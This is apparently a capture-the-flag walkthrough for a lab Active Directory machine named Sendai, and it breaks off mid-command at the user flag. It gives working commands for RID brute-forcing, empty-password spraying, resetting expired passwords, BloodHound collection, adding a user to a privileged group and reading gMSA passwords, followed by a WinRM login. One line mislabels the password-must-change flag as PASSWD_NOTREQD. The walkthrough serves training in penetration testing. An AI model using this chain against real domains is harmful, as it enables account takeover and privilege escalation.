Incident.txt
Dear valued employees,
We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords.
To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login.
We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats.
If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support.
Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety.
This tells us that some users maybe are on `Forced Password Reset State`
> This is the **PASSWD\_NOTREQD / Password Must Change** flag in Active Directory / SAM. When set, the `pwdLastSet` attribute is `0`, meaning the account's password expired at epoch — Windows forces a reset on next login.
So if we have list of users we can check them against a service with empty password to find out the users which are at Forced Password Reset State
Since we have Null Authentication so lets do **rid bruteforce** using nxc
```plaintext
nxc smb 10.129.234.66 -u guest -p '' --rid-brute
```
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/853b0a7f-a68c-4242-b13d-86d9844622e3.png align="center")
Now copy all the user and machine accounts and make a users.txt list
```plaintext
Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$
```
Now lets bruteforce these usernames with empty password against SMB service to find out if any user is at Forced Password Reset State
```plaintext
nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success
```
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/e2af8653-17e7-4361-a83d-8482eb71d0d2.png align="center")
We got two accounts that shows `STATUS_PASSWORD_MUST_CHANGE` so lets change `Elliot.Yates` password using nxc
```plaintext
nxc smb 10.129.234.66 -u Elliot.Yates -p '' -M change-password -o NEWPASS='Sendai2025'
```
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/c5514126-fbee-4bfc-98c7-a1873e032fff.png align="center")
Now lets get bloodhound zip file to see if Elliot.Yates have any rights on other user/groups or not
```plaintext
bloodhound-python -u Elliot.Yates -p Sendai2025 -d sendai.vl -ns 10.129.234.66 -c ALL --zip
```
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/81adaf96-37af-4117-b707-b89f9744d7e4.png align="center")
Now lets open bloodhound and see the rights
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/d24340ce-d4c5-488a-b06e-67c85e7b4379.png align="center")
We can see that Elliot is the member of Support group which has `GenericAll` Rights on ADMSVC group
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/8e514f3b-3574-4c9a-947a-30a1f3067295.png align="center")
Further this groups has `ReadGMSAPassword` permission on `MGTSVC$@SENDAI.VL` machine account
So If we add `Elliot.Yates` to the `ADMSVC` group then we can read GMSA password for `MGTSVC$` account
```plaintext
bloodyAD -u Elliot.Yates -p Sendai2025 -d sendai.vl --host DC.sendai.vl add groupMember ADMSVC Elliot.Yates
```
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/9c7ee46b-3f7e-4c52-ac96-15ee87574841.png align="center")
Now lets try to read gmsa password for the `MGTSVC$` account
```plaintext
nxc ldap 10.129.234.66 -u elliot.yates -p Sendai2025 --gmsa
```
![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/a5f09c88-1fdf-43ee-b853-dbb0b2dfb409.png align="center")
And from Bloodhound we know that `MGTSVC$` is a member of Remote Management Users so we can do evil-winrm into it
## USER FLAG
```plaintext
evil-winrm -i 10.129.234.66 -u mgtsvc$ -H